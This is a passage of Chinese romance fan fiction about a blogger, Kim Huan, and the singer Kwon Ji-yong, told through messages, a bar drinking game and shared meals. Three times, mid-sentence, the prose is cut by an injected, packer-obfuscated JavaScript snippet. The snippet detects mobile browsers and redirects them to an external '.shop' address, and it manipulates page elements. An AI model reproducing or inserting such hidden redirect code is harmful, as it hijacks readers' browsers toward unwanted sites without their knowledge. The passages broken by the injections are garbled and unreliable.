“麻浦区孔德洞。猪蹄专门店。开了三十年。老板说蘸酱是秘方。排队大概二十分钟。你骑小白去的话,门口有停车位。” 金欢回:“你怎么知道这么多?” 权至龙:“我去吃了。” 金欢:“你一个人?” 权至龙:“一个人。” 金欢:“等我忙完这阵,一起去。” 权至龙:“好。我等你。” 隔了一会儿,他又发了一条:“那家猪蹄店的蘸酱是秘方。我吃出来了——虾酱、蒜泥、梨汁、辣椒粉。梨汁是老板自己熬的,所以带一点果甜。你应该会喜欢。” 金欢盯着这条消息看了很久,然后望向窗外,首尔已经入冬了,但她不觉得冷。有什么东西在心里慢慢升温,冒着热气。 初一和五一是突然生病了。 初一吐了三次,五一趴在地上不肯动,鼻子干干的,连最喜欢的鸡肉干都不看一眼。金欢蹲在五一旁边,摸了摸它的耳朵,烫的。她的手开始发抖。 她把初一装进猫包,牵着五一出了门。最近的宠物医院要排两个小时的队,她在候诊区坐着,五一趴在她脚边,初一在猫包里发出难受的呜咽声。金欢发了一条ins,【初一今天吐了,好担心。】 权至龙:“你在哪个医院?” 金欢愣了一下,把定位发过去。 十分钟后,权至龙发来一条消息,是一个地址和一串电话号码。“这家宠物医院是家虎、iye经常去的,院长是首尔大毕业的,很专业。我跟他们约好了,你现在过去,不用排队。” 金欢带着初一和五一赶到那家医院的时候,前台护士看到她就问:“是金欢小姐吗?权先生预约过的。”她跟着护士穿过走廊,五一被推进检查室,初一的猫包被小心翼翼地打开。 检查结果出来了。初一是毛球症,五一吃了不干净的东西,轻微肠胃炎。都不用住院,开了药就可以回家。金欢站在诊室门口,听着医生说“问题不大,按时吃药就好”的时候,腿软了一下,伸手扶住门框。 回到家,她把初一和五一安顿好,然后坐在沙发上,拿起手机。 “今天谢谢你。” 权至龙秒回:“初一和五一怎么样了?” “毛球症和轻微肠胃炎。都不严重,开了药。” “那就好。” 金欢打了又删,反复好几次,最后发了一句:“我做了一些小零食,还有上次的护嗓茶,给你送去。” 权至龙:“不用。你照顾初一和五一就行。” 金欢:“我已经做好了。” 权至龙发了一个表情包——小狗瞪大眼睛......“真的吗”。 金欢:“真的。明天让洙赫欧巴带给你。” 权至龙:“为什么让洙赫带?我可以自己去拿。” 金欢:“……那你自己来拿。” 权至龙:“明天下午。我两点到。” 金欢:“嗯。” 她把手机放下,靠在沙发上。五一吃了药已经睡着了,呼吸均匀。初一趴在五一旁边。金欢坐着愣神,忽然意识到一件事......从什么时候开始,她遇到麻烦的时候,第一个想到的不是自己解决,而是权至龙。而他从什么时候开始,比她自己还快地出现在每一个她需要帮助的时刻。不是等她说,是他在看。 金希彻是第一个发现权至龙变了的人。 录制节目的时候,女嘉宾主动挽住权至龙的胳膊拍照。权至龙没有甩开,但微微侧了侧身,让那个挽着的姿势看起来更像礼貌性的合影而不是亲密接触。拍照结束后,他自然地往旁边挪了半步,拉开了距离。 金希彻在旁边看着,眉毛挑了一下。录完节目,金希彻凑过去,用只有两个人能听到的声音说:“你以前不是来者不拒吗?” 权至龙低头整理袖口,没看他:“以前是以前。” “现在呢?” “现在——”权至龙把袖口翻好,“有人在看。” 金希彻愣了一下,然后笑了:“她看得到吗?她在首尔又不是在录影棚。” “她看得到。”权至龙说,语气平静,“她什么都看得到。就算她看不到,我也不想让她有看到的可能。” 金希彻沉默了一瞬,权至龙是什么人?是被拍到和女生亲密互动也懒得解释的人,是从来不在乎别人怎么看的人,现在他说有人在看。 金希彻忽然觉得,金欢真的把他拿捏住了。 权至龙和CL在YG大楼门口说话,两个人之间隔了至少一臂 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17484935|201952||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的距离。CL递给他一杯咖啡,他接过来,微微点头,全程没有任何肢体接触。照片发出来后,评论区都在说GD变性了吗?怎么不搂着CL了。 金希彻把截图发给金欢:“你看到了吗?他现在跟女艺人说话中间能站一个人。” 金欢看了截图,回了一个字:“哦。” 金希彻:“就一个哦?” 金欢:“不然呢。” 金希彻把聊天记录截图发给权至龙。权至龙回了一个大哭的表情包,然后说:“她至少回了。比以前只回嗯好多了。” 金希彻盯着这行字,忽然觉得这两个人一个比一个别扭。 Bigbang参加了MMA,拿下年歌、年艺,表演了五首歌曲。之后不久,又参加了MAMA。 金欢窝在沙发上,盖着毯子,iPad支在桌子上,屏幕里是MAMA颁奖礼的直播画面。 弹幕刷得飞快。 【表白权至龙!!!表白大爆炸!!!啊啊啊啊啊wuli BigBang来了!!!Bangbangbang!!!!!】 【GD今天什么造型让我看看——】 【粉色啊!是粉色龙啊!】 权至龙走在队伍中间。粉色小西装,内搭天蓝色夏威夷度假风印花衬衫,衬衫领口翻出,色彩碰撞得大胆又骚气。刘海软软地搭在额前,脑袋后面编了两条细细的小辫子,走起路来一晃一晃的。 金欢的嘴角不自觉地翘了一下。 手机响了,权至龙发来一张后台自拍——粉色西装和天蓝色衬衫的搭配被拍得一清二楚,两条小辫子垂在耳后:“今天的造型。” 金欢:“像草莓味的冰淇淋。” 权至龙:“?” 金欢:“粉色配蓝色。草莓配蓝莓。” 权至龙:“所以是好吃的意思?” 金欢:“是化了的意思。” 权至龙发了一个被箭射中心脏的表情包。 BigBang的舞台排在靠后的位置。金欢等了大半场,终于看到他们走上台。 《LOSER》权至龙站在舞台前面,身着亮片西装,闭着眼睛,麦克风抵在唇边,声音带着一种温柔。 【BIGBANG is V.I.P. BIGABNG is my everything!!!!!】 金欢的手指无意识地攥紧了毯子的边缘。 接下来就是《BAE BAE》,表演《Bangbangbang》的时候,权至龙又如同去年一样穿上了貂儿。 表演结束后,权至龙坐在台下,穿着天蓝色度假风印花衬衫,头顶亮蓝色椭圆墨镜。额头光洁地露出来,整张脸的轮廓在灯光下锋利分明。 金欢盯着屏幕里那个架着亮蓝色墨镜的男人,心跳漏了一拍。 颁奖环节到了。 年度歌曲——《BANG BANG BANG》。金欢看着屏幕里的他,想起了各种各样的权至龙——霸气的、撒娇的、醉酒的、脸红的。 她把这些叠在一起,叠成了此刻站在舞台上的这个人。 年度歌曲之后,地团上台领取了年度专辑。镜头扫过艺人席,权至龙坐在那里,跟着鼓掌,表情认真而得体。 最后是年度歌手。 当颁奖嘉宾周润发念出Bangbangbang bangbang,BigBang的时候,全场沸腾。权至龙和队友一起站起来,走上台。聚光灯打在他身上,两条小辫子在灯光下轻轻晃动。他接过奖杯,对着麦克风说获奖感言,声音沉稳有力。 金欢想起2014年的MAMA,她拍了四十七张照片,把其中一张设成了壁纸,骗自己说“构图不错”。 一年过去了。壁纸还是那张。但她已经不再骗自己了。 颁奖礼接近尾声,鸟叔的压轴表演炸翻了全场。《江南Style》的前奏一响,整个场馆像被点燃了一样。权至龙在艺人席上跟着站起来,身体跟着节拍晃动。 权至龙发来一段视频——舞台上的鸟叔像一颗弹力球,台下的艺人席一片狂欢。视频最后,镜头不经意地扫过他自己,嘴角带着笑,眼睛亮晶晶的。亮蓝色墨镜还架在头顶,两条小辫子被汗水打湿了,软软地贴在耳后。 金欢:“看你玩的挺开心的啊。” 权至龙:“你怎么知道?” 金欢:“你视频里自己笑的。” 权至龙:“你观察得这么仔细?是不是在偷看直播?” “什么叫偷看你直播?我明明是光明正大欣赏帅哥。MAMA聚集了那么多帅哥,又不是只有你一个。” 权至龙咬牙切齿地回了一条:“金欢,你等着。” “等着就等着。” 权至龙:“结束了。” 金欢:“嗯。” 权至龙:“主办方有庆功会。推脱不了。要去一趟。” 金欢:“你跟我说这个干什么?” “没什么。就报备一下。” 金欢的耳朵彻底红透了。 “少喝点儿。” 权至龙秒回:“好。” 然后又发了一条:“你说的话我都听。” 22. 我有你没有 “今晚,江南,我请客。” 金欢看着这条消息,回了一个字:“懒。” 金希彻秒回:“俐特也来,我们少时的队长大人和人气女王也来。你不来,我就把你上次喝多了抱着电线杆喊我是首尔第一美女的视频发群里。” 金欢:“……几点。” 她到的时候,金希彻已经在卡座里坐着了。利特和曺圭贤坐在他对面,少时俩人挨在一起翻酒单。 “金欢!”金希彻朝她挥手。 金欢走过去,允儿抬头看到她,眼睛亮了一下:“欢欢,你今天的耳环好好看。” 金欢摸了摸耳环......颜色从墨绿渐变到酒红。“自己做的。” “真的?你卖吗?”允儿凑近看。 “不卖。但可以给你做一对。” “我要我要!” 正说着话,金欢感觉到有一道目光落在自己身上。她转过头一看——权至龙站在卡座区的入口处,白色大衣敞着,里面是黑色高领修身毛衣,领口严丝合缝地贴着他的脖颈,刘海柔软地搭在额前。 金欢眼睛看直了。 权至龙感受到了那道目光,他微微偏过头,对上了金欢的视线。 金欢反应过来,瞬间脸红了。 权至龙的嘴角弯了一下,原来喜欢这款啊。 李朱赫站在他旁边,正低头跟CL说话。后面跟着一些朋友。 两拨人并成了一桌。 卡座是U型的,金欢坐在靠里的位置,左边是允儿。权至龙进来之后,目光扫了一圈,然后自然而然地坐到了金欢旁边,隔了不到一个手掌的距离。他把白色大衣脱下来,放在身侧。 金欢端起酒杯喝了一口,没有看他。 CL坐在对面,把这一切看在眼里,端起酒杯,对着李朱赫的方向举了举。李朱赫回了一个举杯的动作。两个人无声地碰了一下,同时喝了一口,表示今晚有热闹可看了。 酒过三巡,桌上的人开始散漫地聊天。大哥几个人在卡座另一头,端着威士忌,自成一个小世界。Soojoo和CL头碰头在看手机上的什么东西,偶尔低声交流一句。 金希彻喝到第三杯的时候,要开始搞事情了。 “来来来,玩游戏。” “什么游戏?”曺圭贤问。 “我有你没有。” 允儿立刻坐直了:“这个我会!就是一个人说一件自己做过的事,没做过的人放下一根手指。十根手指,谁先放完谁喝酒。” “对。”金希彻的眼睛在昏暗的灯光下亮得惊人,目光从权至龙身上扫到金欢身上,又扫回来,“先说好,不许说谎。说谎的人——” “喝酒。”利特接话。 “不够。”金希彻摇头。 “请全场一轮。”李朱赫说。 金希彻打了个响指:“成交。” 第一轮从利特开始。他说:“我出道十年。”桌上的人面面相觑,除了金希彻、权至龙其他人齐刷刷放下一根手指。 金欢坐在那里,十根手指稳稳地竖着,表情写满了这跟我有什么关系。 她看了看左边,又看了看右边。满桌的人手指都放下去了,只剩她一个。 “等一下。”金欢把手收回来,不干了,“不公平。你们都是混娱乐圈的,一开口就是出道十年、拿大赏、上过什么舞台......我拿什么跟你们比?” 金希彻靠在沙发上,翘着腿,“你也可以说啊。比如我做过一百期视频、我养的猫狗会自己接广告——” “那能一样吗?” “怎么不一样?” 金欢还没来得及反驳,旁边的权至龙开口了,“确实不公平。” 金希彻转过头看他。 “她是博主,我们是爱豆。她和我们不是同一个赛道。”权至龙端起酒杯,“这规则对她不利。” 金希彻放下酒杯。“至龙啊。” “嗯。” “你是裁判吗?” “不是。” “那你就闭嘴。规则我定的,我说公平就公平。你有意见?憋着。” 金希彻转向金欢,大手一挥。“继续继续。金欢,你手指还竖着,算你赢。下一轮。” 轮到金希彻了。他放下酒杯,十指交叉搁在膝上,露出一个“我等这一刻很久了”的笑容。 “我亲过在座的某个人。” 桌上安静了一瞬,然后炸了锅。“谁?”“什么时候?”“金希彻你说清楚!”金希彻靠在沙发上,翘着腿,表情欠揍得恰到好处:“游戏规则又没说要说是谁。你们没亲过的,放下手指。” 金欢低头看了看自己的手指......她当然没亲过在座的任何人,余光瞥见旁边的权至龙。 他也放下了。 金希彻的目光在两个人之间转了一圈,嘴角的弧度越来越大。“至龙啊,你也放下了?你没亲过在座的吗?” 权至龙没看他。“没亲过就是没亲过。” “那你耳朵红什么?” “热的。” 金希彻“哦”了一声,拖得长长的。然后他转向金欢:“金欢呢?你也放下了。你也没亲过在座的?” “女生你都认识——”金希彻掰着手指头数,“剩下的都是男的。所以你是没亲过在座的男的,还是没亲过在座的任何人?” “有区别吗?” “有啊。没亲过男的是取向问题,没亲过任何人是经验问题。” 金欢把酒杯往桌上一放,声音不大,但满桌都听见了。“金希彻,你是我妈吗?” 李朱赫在旁边难得地弯了一下嘴角。CL端起酒杯挡住了笑意。 权至龙的手指在桌面边缘轻轻敲了一下,然后开口了,“希澈hiong。” 金希彻转向他。 “你自己亲过,我们没亲过。我们放下了,你没放。”权至龙的声音不紧不慢,“这游戏是比谁手指剩得多,不是比谁情史丰富。” “行。”金希彻端起酒杯,“我说不过你。下一轮。” 到李朱赫,他靠在沙发上,手指修长地搭在膝盖上,淡淡开口:“我去过金欢在北京的家。” 金希彻:“李朱赫,你不讲武德。” 金欢猛地转头看李朱赫。李朱赫目光平静地扫过桌上所有人,最后落在权至龙身上。 权至龙的表情没有变化,但他的手指指尖微微收紧了一点。 所有人齐刷刷放下手指,然后是权至龙,也放下了一根手指。 轮到CL了。她想了想,说:“我吃过金欢做的猪肉脯。” 金希彻立刻举手:“我吃过!”手指稳稳地竖着。李朱赫也竖着手指。金欢自己当然竖着。 然后权至龙竖起了手指。 CL看着他竖起来的那根手指,嘴角微微弯了一下。 “至龙欧巴也吃过?”允儿好奇地问。 权至龙点头。“她给我的。” 金欢端起酒杯,把剩下的小半杯一口喝完了。耳朵尖在暗蓝色灯光下红得透明。 终于轮到权至龙了。 他把酒杯放下,手指在桌面上轻轻敲了两下。所有人的目光都落在他身上。 “我会做中国菜。” 满桌安静。众人又是齐刷刷折手指。除了金欢。 她的手指悬在桌面上方,微微蜷着,没有放下。 权至龙的目光从她的手指移到她的耳垂......那耳环,在灯光下泛着温润的光。他看了很久,久到金欢察觉到了,抬手摸了摸耳垂。 “怎么了?” “耳环很好看。” 金欢的手指在耳垂上停了一瞬。“自己做的。” “我知道。” 然后是金欢。 金欢眼睛转了转:“我没有谈过恋啊。” 桌上安静了一瞬,然后炸了锅。金希彻拍桌子:“呀,金欢你居然没谈过恋爱。” 在座的众人都很震惊,在这个幼儿园就谈恋爱的韩国,金欢真的是奇葩。 金欢:“这有什么,在中国,没谈过恋爱的多了去了。再说了,我又不是像希澈哥那样,从幼儿园开始就走‘恋爱人生’的路线呀。” 金希彻:“阿西,金欢啊,有没有人说你嘴真的很毒。” 权至龙在听到那句话的瞬间,他整个人都愣住了,眼底闪过明显的错愕。心里第一反应:??她居然一次恋爱都没谈过?好开心,我将是初恋。 游戏又进行了两轮,但气氛已经变了。权至龙的手指几乎再也没有折过。但金欢注意到,每次她放下手指的时候,权至龙的目光都会在她手背上停一瞬。 散场的时候,金欢已经输的喝了好几杯酒。夜店门口,凌晨的风灌进来,金欢缩了缩脖子。 金希彻正在掏车钥匙。“金欢,我送你——” “我送她。”权至龙的声音从旁边插进来 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17484936|201952||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 “我叫好代驾了。顺路。” “行吧。”金希彻把车钥匙收回口袋。 权至龙点头。 路上金欢带着酒意迷迷瞪瞪地睡着了,车停在了公寓楼下,权至龙拉开车门,夜风灌进来,金欢打了个哆嗦。他绕到另一边,扶住她的手臂,送到家门口。 “钥匙。” “嗯?”金欢迷迷瞪瞪地抬起头。 “家门钥匙。在包里?” “嗯……”她把包往他手里一塞,“自己找。” 权至龙接过包。拉开拉链,伸手进去摸,指尖碰到一个硬硬的纸片状的东西。抽出来。 是一张照片。 照片上的人是他,黑西装,橙色墨镜,大背头。 权至龙看着那张照片,照片背面有画——金欢画的小雏菊。 他把照片重新放回包里,拉好拉链。然后他低下头,看着靠在他肩膀上迷迷糊糊的金欢。 “小狐狸。”他的声音很轻,被夜风吹散了一半,“明明喜欢我,还装。” 金欢没有听见。她的呼吸均匀,带着淡淡的酒气。 权至龙找到钥匙,开了门,两只毛孩子同时看向门口......看到了金欢,也看到了扶着金欢的权至龙。 权至龙把金欢扶进卧室,让她躺在床上。脱掉她的外套,叠好放在床尾。把被子拉上来,盖到她下巴。金欢翻了个身,把脸埋进枕头里,发出一声含糊的呓语。 权至龙站在床边,低头看着她。 然后他俯下身,嘴唇轻轻落在她的额头上。 他直起身,走出卧室,轻轻带上门,初一、五一就在金欢卧室门口。 权至龙蹲下来,对着初一、五一眼睛,竖起一根手指抵在唇边。 “小点声。不要吵到妈妈睡觉。” 初一眨了眨眼。五一的尾巴轻轻扫了一下地板。 权至龙站起来,拉开门,走廊的灯光涌进来。他回头看了一眼客厅,“爸爸过一段时间再来看你们。” 第二天下午,权至龙的工作室。 李朱赫靠在沙发上,手里端着一杯咖啡,看着权至龙坐在调音台前反复听一段旋律。同一段,已经循环了不下二十遍。 “你昨天送她回去,没发生什么?”李朱赫问。 权至龙的手指在键盘上停了一下。“她喝多了。我送她到家,她就睡了。” “就这样?” “就这样。” 李朱赫端起咖啡喝了一口,没有追问,“对了。金欢编的第一条手绳,给我了。” 权至龙的手指停在键盘上。 李朱赫从手腕上把那条手绳褪下来,拎在指尖,对着灯光晃了晃。蜡线编织的四股辫,玉髓珠和玛瑙珠交错排列,颜色从墨绿过渡到酒红,收尾处是一个精巧的银质搭扣。每一颗珠子的位置都经过仔细调整,结面平整,纹路匀称。 权至龙的目光落在那条手绳上。 “好看吧。”李朱赫说,语气里带着一种明晃晃的、毫不掩饰的得意,“她说第一件做出来,要送给最重要的人。就给我了。” 权至龙的手指收紧了一点。 “你要不要?”李朱赫把手绳在他眼前晃了晃,像逗猫棒一样。 权至龙伸手去接。李朱赫把手收了回去。 “不是白给。” 权至龙的手悬在半空中,看着李朱赫那张一贯冷淡的脸,忽然明白了什么。这个人从进门开始就在铺垫。现在手绳在他眼前晃,是等他开口。 “你想要什么。”权至龙说。 李朱赫:“那件YSL限量款外套。” “行。”没有犹豫。 李朱赫反而愣了一下。“你不还价?” “不还。” “那件不是你的心头好吗?上次永培想借,你说不行。” 李朱赫把手绳递过去。 权至龙接过来,放在掌心里看。蜡线在她手里变得服服帖帖,每一颗珠子的位置都恰到好处。 “真好看。”他轻声说。 “比你强多了。。” 权至龙没有反驳,他把手绳套在自己手腕上,蜡线贴着皮肤,玉髓珠和玛瑙珠在灯光下泛着温润的光,大小刚好。 李朱赫看着他戴上手绳之后嘴角的弧度,忽然觉得那件外套要得还不够狠,应该再加一双鞋的。 “走了。”他走到门口,拉开门,回头看了一眼。 23. 慢慢来 权至龙开始陪吃陪玩之后,金欢的周末就再也不属于自己了。 周六,门铃准时响。金欢趿拉着拖鞋去开门,权至龙站在门口,一只手拎着花,另一只手拎着吃的。花不重样——芍药、郁金香、洋桔梗、小雏菊,偶尔是一束叫不出名字的野花,用牛皮纸包着,茎叶间还带着晨露。吃的不重样——面包店新出炉的面包三明治、巷口老奶奶卖的紫菜包饭、让助理专门去排队买的限量草莓蛋糕。 “又来了。”金欢接过花,侧身让他进来。 “嗯。”权至龙换鞋,动作熟练得像回自己家,“今天带了明洞那家面包。老板说早上六点出炉,我让助理去排的。” “你助理的工资是替你排队用的吗?” “我给他加钱了。” 金欢把花插进花瓶里。窗台上已经摆了五六个花瓶了,全是权至龙这段时间带来的。她摆弄花枝的时候,权至龙已经把面包从纸袋里拿出来,切成厚片,放进烤箱里复热,动作行云流水,像在自己家厨房。 初一走到权至龙脚边,用脑袋蹭了蹭他的脚踝。权至龙低头看了它一眼,从口袋里掏出一小袋猫零食。 “你什么时候买的?” “上次看到你柜子里快没了。”他把零食撕开倒出来,初一低头舔得呼噜呼噜响。 金欢靠在厨房门框上,看着这一幕。阳光从阳台照进来,落在他低着头的侧脸上。他蹲在她家厨房的地板上,喂着她的猫和狗,烤箱里热着他带来的面包。 “权至龙。” “嗯?” “你把我家初一和五一收买了。” 权至龙抬起头,表情无辜。“我没有。我只是对它们好。” “你对它们好,它们就跟你亲。它们跟你亲,我就不好意思赶你走了。” 权至龙站起来,拍了拍手上的零食碎屑。“那你赶我走吗?” 金欢看着他亮晶晶的眼睛,沉默了两秒。“烤箱响了。面包好了。” 权至龙笑了。 吃饭的时候,金欢发现他带的东西永远刚好是两个人的量。面包配她自己做的果酱,他上次带来的烟熏三文鱼还剩半袋,刚好铺满两片。连水果都切好了,装在透明盒子里——草莓、蓝莓、猕猴桃、小番茄,颜色搭配得好看。 “你是不是在我家装了监控。”金欢夹了一块草莓。 “嗯?” “不然你怎么知道我家果酱还剩多少,三文鱼还剩几片,水果什么时候吃完。” 权至龙低头咬了一口面包,咀嚼的时候嘴角弯着。“观察。” “观察什么?” “观察你。” 金欢的筷子停住了。 “你是不是闲的。” “不闲。很忙。”权至龙把最后一块三文鱼夹到她碗里,“但看你的东西,不用专门抽时间。” 金欢低下头,把那块三文鱼塞进嘴里。耳朵尖又开始泛红了。 从那以后,权至龙来蹭饭的频率从一周一次变成了一周两三次。有时候带花,有时候带水果,有时候带一包新发现的咖啡豆,说这家烘焙得不错,你尝尝。金欢做饭,他在旁边打下手,动作越来越熟练,知道了金欢很多小习惯——炖汤不放味精、做完饭要立刻擦灶台。 有一次金欢做红烧排骨,他站在旁边看。她盖上锅盖转小火,转头发现权至龙正盯着锅看。 “看什么?” “记住了。” “记住什么?” “你做排骨的步骤,下次你不在,我可以自己做。” 金欢拿着锅铲的手停了一下。“你想吃就过来,我给你做。” 权至龙看着她,眼睛亮了一下。“那我天天过来。” “……那还是你自己学吧。” 权至龙笑了。 “我下周去日本。三天。” 权至龙说这句话的时候,正坐在金欢家的沙发上,帮初一梳毛。初一趴在他腿上,发出满足的呼噜声。 “要带什么东西吗?” “不用。我什么都不缺。” 权至龙没再说什么。金欢以为这件事就这么过去了。 权至龙日本出差回来后急急忙忙赶去金欢家。金欢打开门,权至龙站在门口,左手拎着一个巨大的纸袋,右手照例是一束花。他穿着黑色大衣,围巾还没解开,头发被夜风吹得有点乱,眼下有淡淡的倦色。 “飞机晚点了。”他说,“本来应该下午到的。” 金欢接过花,侧身让他进来。他把那个巨大的纸袋放在茶几上,五一立刻凑过去闻。权至龙蹲下来,把袋子里的东西一样一样往外拿。 “白色恋人,这个你应该知道。Royce的生巧,买了原味和抹茶的。Tokyo Banana,香蕉蛋糕,机场好多人排队。”他把盒子摞起来,像砌墙一样,“这个是东京限定的年轮蛋糕,店员说保质期只有三天,要快点吃。这个是镰仓的半月庵煎饼,咸甜的。这个是——” “权至龙。”金欢的声音有点哑。 他停下来,抬起头看着她。 “我说了不用带。” “你没说。”他把最后一个盒子放在茶几上,站起来,拍了拍膝盖,“你说我什么都不缺。不缺,不代表不能收礼物。” 金欢看着茶几上那座零食堆成的小山。有的是机场免税店的袋子,有的像是从专门店铺里买的,但无一例外都是精心包装的。 “你去了三天,不是在开会吗。” “开完会去的。”他把围巾解下来,搭在沙发扶手上,“问了工作人员。他们说这些好吃。我也不确定你喜欢哪种,就都买了。” 他说这话的时候语气很平淡,像在说一件根本不值得提的小事。金欢看着他眼下的青色,想起他刚才说飞机晚点了——他可能是从机场直接过来的。行李箱还放在门口,大衣没脱,围巾刚解开,第一件事是把这些零食一样一样摆在茶几上给她看。 “你还没吃饭吧。”金欢转过身,走进厨房。 “吃过了。飞机上吃的。” “飞机上的饭能叫饭吗。” 权至龙没有反驳。金欢打开冰箱,拿出晚上剩的辣炖排骨,盛进碗里,放进微波炉。又开始做泡菜豆腐汤,加一些权至龙喜欢的食材。权至龙走到厨房门口,靠在门框上,没有进来。 “金欢。” “嗯。” “那个年轮蛋糕,店员说要配红茶。我买了红茶,在袋子最下面。” “先吃饭。蛋糕明天再吃。” 权至龙坐下来,接过她递来的筷子。排骨炖得酥烂,泡菜豆腐汤酸酸辣辣很开胃,喝了一碗很暖身。金欢坐在他对面,给自己也盛了半碗饭,陪着他吃。 “好吃吗?” “好吃。”他抬头看了她一眼,“比飞机上的好吃。” “废话。” 权至龙笑了。 从那以后,权至龙每次出差回来,都会带东西。他去巴黎带回了玛黑区一家手工果酱店的草莓酱,去纽约带回了Chelsea Market的香料,说你上次视频里说想试试西餐,他去济州岛拍广告,带回来一大箱柑橘。权至龙不论去哪里都会给金欢带礼物。 金欢的冰箱渐渐被这些东西塞满了。草莓酱吃了大半罐,香料还没拆封,柑橘被她做成了果酱。 约饭成了两个人的固定节目,硬生生把一个不爱吃的人往老吃家的路上带。 权至龙搜罗的那些小店,一家一家被他们吃过去。藏在巷子里的猪蹄店,开了三十年,蘸酱是老板的秘方。权至龙把最肥美的蹄髈部分夹到她碗里,自己吃偏瘦的。金欢咬了一口,眼睛亮了——虾酱、蒜泥、梨汁、辣椒粉,梨汁是熬过的,带果甜的焦糖香。她把这些一样一样说出来的时候 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17484937|201952||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,权至龙看着她,嘴角弯着。 也去了那家刀削面店。山东老板操着一口混杂口音的韩语,看到权至龙带着金欢进来,愣了一下,然后笑了。“上次你一个人来,坐了一个小时,吃了一碗,另一碗放凉了也没动。” 权至龙的耳朵红了。“老板,两碗刀削面。” 老板笑着转身进了厨房。金欢看着他通红的耳朵,什么都没说,但嘴角翘了起来。 吃完饭,权至龙送她回家。 从刀削面店到金欢的公寓,骑车十五分钟,走路半小时。他们走着回去,权至龙走在靠马路的那一侧,步速配合着她的节奏。金欢手里拎着打包的卤蛋——老板非要送的,说是上次那碗放凉的面可惜了,这个算补偿。 路灯把他们的影子拉得很长,交叠在一起。金欢低头看着地上的影子,脚步慢了一拍。权至龙也跟着慢下来,没有说话。 到了公寓楼下,金欢停下来。 “到了。” “嗯。”权至龙把手插进口袋里,站在路灯下,“你上去吧。” 金欢看着他。“你不走?” “等你灯亮了我再走。” 金欢张了张嘴,想说什么,又咽回去了。她转身上楼,声控灯一层一层亮起来。到了家门口,她掏出钥匙开了门,走进去,按亮了客厅的灯。 窗边。权至龙还站在楼下,仰着头。看到她出现在窗口,他抬起手,挥了一下。金欢站在窗边,隔着玻璃看着他。夜风把他的大衣下摆吹起来,路灯的光落在他身上,把他的影子拉得很长。他站在那里,像一棵生了根的树。 金欢拿起手机,打了几个字。 “还不走?” 权至龙低头看手机,然后抬头看了她一眼:“就走。晚安。” 这样的场景重复了很多次。每次吃完饭,他送她回家,在楼下等她灯亮。有时候她会站在窗边跟他挥挥手,有时候她直接拉上窗帘。不管她挥不挥手,他都会等到那扇窗亮起来,然后离开。 有一次,金欢忍不住了。 她下楼的时候,权至龙正准备走。看到她又出来,愣了一下。 “怎么了?” “权至龙。你为什么一定要看我灯亮?” 权至龙沉默了一瞬。夜风吹过来,把他的刘海吹散了几缕。 “怕你出事。” “我能出什么事?从楼下到楼上,有电梯,有灯,有监控。我能出什么事?” 权至龙没有立刻回答。他把手从口袋里抽出来,又放回去,目光落在她脸上,又移开,落在她身后那扇亮着灯的窗上。 “万一你上楼的时候摔了呢。” 金欢愣住了。 “万一电梯坏了你走楼梯,楼梯间的灯又不亮。万一你走到家门口发现钥匙丢了,翻包找的时候手机掉在地上。万一初一和五一又生病了,你一个人着急不知道怎么办——” “权至龙。” 他停下来。 金欢看着他。路灯的光落在他脸上,他真的在担心那些“万一”——那些她自己都觉得小题大做的万一。 “你是不是想太多了。”她的声音轻了。 权至龙低下头,看着自己的鞋尖。 “可能吧。”他说,“但想了,就回不去了。” 金欢站在他面前,夜风从两个人之间穿过。她穿着拖鞋,他穿着大衣,两个人的影子在路灯下交叠在一起。 “你上去吧。”权至龙说,“外面冷。” 金欢没有动。过了几秒,她转过身,走进楼道,声控灯一层一层亮起来。权至龙站在原地,仰着头。那扇窗亮了。金欢站在窗边,隔着玻璃看着他。 “晚安。” “嗯。” 然后金欢又发了一条。 “到家了发消息。” 权至龙看着这条消息,站在路灯下,笑了。 24. 暗涌 凌晨两点,权至龙发了一条ins快闪。 照片是工作室的一角——调音台的键盘,旁边放着一杯凉透的美式咖啡,配上稀奇古怪的滤镜。 发出去三分钟后。 金欢:“你还不睡?” 权至龙把键盘往前推了推,拿起手机,嘴角弯了一下,打字:“你也没睡。” 金欢:“我在赶作业。明天ddl。” “我写歌。” “写什么歌要写到凌晨两点?” “写不完的歌。” 金欢发了一个翻白眼的表情包,然后又发了一条:“你猝死了谁吃我做的排骨。” 权至龙看着这行字,笑了。她把关心藏在一句嫌弃的话里:“那你多给我做几次,我存着慢慢吃。” 金欢:“排骨又不能存一辈子。” 权至龙:“我可以存一辈子。” 金欢“正在输入……”了很久,最后只回了一个字:“滚。” 权至龙发了一个小狗叼着排骨的表情包。 然后两个人谁也没再说话。 